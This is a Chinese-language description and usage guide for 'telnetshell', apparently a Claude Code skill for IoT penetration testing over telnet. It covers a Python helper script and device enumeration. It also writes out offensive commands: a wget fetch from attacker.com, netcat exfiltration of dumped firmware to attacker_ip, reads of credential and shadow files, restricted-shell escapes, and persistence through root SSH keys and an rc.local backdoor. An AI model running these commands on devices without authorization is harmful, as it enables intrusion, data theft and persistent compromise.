关于 telnetshell
面向 IoT 安全测试人员的技能,用于连接可通过 Telnet 访问的设备 Shell。Python 辅助脚本支持交互或批量执行命令,并处理提示符、输出和会话日志。
主要功能
- 01Telnet 命令与交互模式
- 02从文件批量执行命令
- 03提示符检测与超时处理
- 04清理输出并支持 JSON
- 05记录会话日志
适用场景
- 01枚举经授权测试的 IoT 设备
- 02检查设备系统与网络信息
- 03通过脚本运行可重复的安全检查
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ brownfinesecurity/ iothackbot --skill telnetshell安装后在 Claude Code 中输入/telnetshell确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
enum_files.txtenum_network.txtenum_security.txtenum_system.txtexamples.mdOBSERVING_SESSIONS.mdtelnet_helper.py详细介绍
IoT Telnet Shell(telnetshell)
此技能支持通过 telnet 与可访问的 IoT 设备 Shell 交互,用于安全测试和渗透测试操作。它支持未认证的 Shell、弱身份验证测试、设备枚举和漏洞利用后的活动。
先决条件
- Python 3 和 pexpect 库(
pip install pexpect或sudo pacman -S python-pexpect) - 系统已安装 telnet 客户端(Arch 上运行
sudo pacman -S inetutils) - 可访问目标设备的 telnet 端口
推荐方法:Telnet 辅助脚本
重要: 此技能附带一个 Python 辅助脚本(telnet_helper.py),为 telnet 通信提供简洁、可靠的接口。与 IoT 设备交互时,推荐使用此方法。
默认会话日志记录
Claude 运行的所有命令默认都会记录到 /tmp/telnet_session.log。
要实时查看 Claude 正在执行的操作:
# In a separate terminal, run:
tail -f /tmp/telnet_session.log
这样你就能在不干扰连接的情况下,实时查看所有 telnet I/O。
为什么要使用 Telnet 辅助脚本?
此辅助脚本解决了直接使用 telnet 时的许多问题:
- 输出简洁:自动移除命令回显、提示符和 ANSI 代码
- 提示符检测:自动检测设备提示符并等待
- 超时处理:妥善管理超时,无需任意等待
- 易于编写脚本:提供简单的命令行接口,可执行单条命令或批量操作
- 会话日志记录:所有 I/O 都会记录到
/tmp/telnet_session.log,便于查看 - 可靠:不会遇到 TTY 要求或后台进程相关问题
- JSON 输出:便于以编程方式解析和串联工具
使用 Telnet 辅助脚本快速入门
单条命令:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
自定义端口:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"
使用自定义提示符(已知设备推荐):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --prompt "^/ [#\$]" --command "ifconfig"
交互模式:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive
从文件批量执行命令:
# Create a file with commands (one per line)
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --script commands.txt
JSON 输出(用于解析):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json
调试模式:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "ls" --debug
会话日志记录(用于查看):
# Terminal 1 - Run with logging
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/session.log \
--interactive
# Terminal 2 - Watch the session in real-time
tail -f /tmp/session.log
注意: 有关监控 telnet 会话的完整指南,请参阅 OBSERVING_SESSIONS.md。
完整的操作示例请参阅 examples.md,包括初步设备识别、BusyBox 检测、完整系统枚举、SUID 搜索和硬编码凭据发现。
Telnet 辅助脚本选项
Required (one of):
--command, -c CMD Execute single command
--interactive, -i Enter interactive mode
--script, -s FILE Execute commands from file
Connection Options:
--host, -H HOST Target host IP or hostname (required)
--port, -P PORT Telnet port (default: 23)
--timeout, -t SECONDS Command timeout (default: 3.0)
--prompt, -p PATTERN Custom prompt regex pattern
Output Options:
--raw, -r Don't clean output (show echoes, prompts)
--json, -j Output in JSON format
--logfile, -l FILE Log all I/O to file (default: /tmp/telnet_session.log)
--debug Show debug information
常见提示符模式
辅助脚本内置了常见提示符模式,但你也可以指定自定义模式:
# BusyBox shell (common on IoT)
--prompt "/\s*[#\$]\s*$"
# Standard root/user prompts
--prompt "^[#\$]\s*$"
# Custom device
--prompt "^MyDevice>\s*$"
# Uniview cameras
--prompt "^User@[^>]+>\s*$"
使用 Telnet 辅助脚本枚举设备的示例
以下是安全枚举设备的完整示例:
# Set variables for convenience
HELPER="python3 .claude/skills/telnetshell/telnet_helper.py"
HOST="192.168.1.100"
PORT="2222"
LOGFILE="/tmp/telnet_session.log"
# System information
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"
# Check for BusyBox
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "busybox"
# Network configuration
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "route -n"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"
# Process listing (may need longer timeout)
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --timeout 5 --command "ps aux"
# File system exploration
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ls -la /"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "mount"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "df -h"
# Security assessment
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "find / -perm -4000 2>/dev/null"
致 Claude Code 的重要提示: 使用此技能时,每条命令都必须包含 --logfile /tmp/telnet_session.log,以便用户通过 tail -f /tmp/telnet_session.log 监控活动。
说明
1. 连接设置
默认连接:
- 端口:23(标准 telnet 端口,可通过
--port覆盖) - 超时:3 秒(可通过
--timeout覆盖) - 日志记录:默认写入
/tmp/telnet_session.log
IoT 设备常见 telnet 端口:
- 23:标准 telnet 端口
- 2222:备用 telnet 端口(摄像头常用)
- 8023:备用 telnet 端口
- 自定义端口:查看设备文档或 nmap 扫描结果
2. BusyBox Shell(大多数 IoT 设备)
重要:绝大多数 IoT 设备都使用 BusyBox,这是一套为嵌入式系统设计的轻量级 Unix 工具。BusyBox 提供精简的 Shell 环境,命令功能有限。
识别 BusyBox:
# Check what shell you're using
busybox
busybox --help
# Or check symlinks
ls -la /bin/sh
# Often shows: /bin/sh -> /bin/busybox
# List available BusyBox applets
busybox --list
BusyBox 的限制:
- 许多标准 Linux 命令可能是简化版本
- 某些常见标志或选项可能不可用
- Tab 补全等功能可能受限或不存在
- 某些在完整 Linux 系统上有效的利用技术可能无法使用
常见的 BusyBox 命令:
# Core utilities (usually available)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)
# Check what's available
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin
渗透测试中的 BusyBox 特别注意事项:
ps的输出格式可能与标准 Linux 不同- 某些权限提升技术需要 BusyBox 中没有的命令
- 文件权限的工作方式仍然相同(SUID、粘滞位等)
- 通常会提供网络工具(telnet、wget、nc/netcat、ftpget)
- 通常没有 Python/Perl/Ruby(受设备存储空间限制)
用于信息枚举的实用 BusyBox 命令:
# Check BusyBox version (may have known vulnerabilities)
busybox | head -1
# Network utilities often available
nc -l -p 4444 # Netcat listener
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
# httpd (web server) often included
busybox httpd -p 8080 -h /tmp # Quick file sharing
3. 设备信息枚举
获得 Shell 访问权限后,收集以下信息:
系统信息:
# Kernel and system info
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# Distribution/firmware info
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# Hostname and network
hostname
cat /etc/hostname
ifconfig -a
cat /etc/network/interfaces
cat /etc/resolv.conf
# Mounted filesystems
mount
cat /proc/mounts
df -h
# Running processes
ps aux
ps -ef
top -b -n 1
用户和权限信息:
# Current user context
id
whoami
groups
# User accounts
cat /etc/passwd
cat /etc/shadow # If readable - major security issue!
cat /etc/group
# Sudo/privilege info
sudo -l
cat /etc/sudoers
网络服务:
# Listening services
netstat -tulpn
lsof -i
# Firewall rules
iptables -L -n -v
cat /etc/iptables/*
值得关注的文件和目录:
# Configuration files
ls -la /etc/
find /etc/ -type f -readable
# Web server configs
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
# Credentials and keys
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# World-writable files/directories
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
# Development/debugging tools
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
4. 权限提升(如果不是 root)
检查常见漏洞:
# Kernel exploits
uname -r # Check kernel version for known exploits
# Check for exploitable services
ps aux | grep root
# Writable service files
find /etc/init.d/ -writable 2>/dev/null
# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
5. 持久化和进一步访问
建立其他访问方式:
# Add SSH access (if SSH is available)
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
# Start SSH service (if not running)
/etc/init.d/ssh start
# or
/etc/init.d/sshd start
# or
/etc/init.d/dropbear start # Common on embedded devices
# Add to startup scripts
echo "/path/to/backdoor &" >> /etc/rc.local
6. 固件提取
提取固件以供离线分析:
# Find MTD partitions (common on embedded devices)
cat /proc/mtd
cat /proc/partitions
# Dump flash partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
# Copy to external storage or network
# If network is available:
nc attacker_ip 4444 < /tmp/rootfs.bin
# If HTTP server is available:
cd /tmp
busybox httpd -p 8000
# Then download from http://device_ip:8000/rootfs.bin
常见 IoT 设备场景
场景 1:无需身份验证的 Shell
# Connect - drops directly to root shell
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --interactive
# Enumerate and exploit
场景 2:自定义端口上的免认证 Shell
# Many IoT cameras use port 2222
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive
场景 3:受密码保护的 Shell
# If you encounter a password prompt, the helper will detect it
# Try default credentials:
# - root/root
# - admin/admin
# - root/(empty)
# Search online for device-specific defaults
场景 4:有限的 Shell 逃逸
# If you get a limited shell:
# Try common escape techniques:
echo $SHELL
/bin/sh
/bin/bash
vi # Then :!/bin/sh
less /etc/passwd # Then !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'
安全测试清单
- 识别设备和固件版本
- 检查是否存在未经身份验证的访问
- 测试默认/弱凭据
- 枚举网络服务和开放端口
- 检查文件中是否存在硬编码凭据
- 测试命令注入漏洞
- 检查文件权限(SUID、所有用户可写)
- 检查是否存在带有已知 CVE 的过时软件
- 测试权限提升途径
- 提取固件以供离线分析
- 使用截图/日志记录所有发现
最佳实践
- 始终记录会话:默认日志文件为
/tmp/telnet_session.log - 记录所有内容:记下命令、响应和发现
- 使用批处理脚本:为常见任务创建信息枚举脚本
- 研究设备:查找已知漏洞、默认凭据和常见问题
- 获得适当授权:仅对你拥有或明确获准测试的设备进行渗透测试
- 谨慎使用破坏性命令:避免使用可能导致设备变砖或数据损坏的命令
- 监控会话:在另一个终端中使用
tail -f监视活动
故障排除
问题:连接被拒绝
- 解决方案:检查 telnet 服务是否正在运行,确认端口号,并检查防火墙规则
问题:连接超时
- 解决方案:确认网络连接,检查设备是否已通电,并确认 IP 地址
问题:“Permission denied”
- 解决方案:telnet 服务可能需要身份验证,请尝试使用默认凭据
问题:命令没有回显
- 解决方案:使用
--raw标志查看未经筛选的输出
问题:输出乱码或提示符检测错误
- 解决方案:使用
--prompt标志,并为你的特定设备指定自定义正则表达式模式
预置的信息枚举脚本
该技能包含用于常见任务的预置信息枚举脚本:
enum_system.txt:收集系统信息enum_network.txt:枚举网络配置enum_files.txt:探索文件系统enum_security.txt:以安全为重点的信息枚举
用法:
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script .claude/skills/telnetshell/enum_system.txt
使用示例
# Basic connection to standard telnet port
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
# Connection to custom port (common for IoT cameras)
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"
# Interactive session with logging
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/camera_session.log \
--interactive
# Batch enumeration
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script enum_system.txt \
--json > results.json
# Long-running command with custom timeout
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--timeout 10 \
--command "find / -name '*.conf'"
参考资料
- BusyBox 官方网站
- BusyBox 命令列表
- IoT 渗透测试资源和漏洞数据库
- 特定设备的文档和数据手册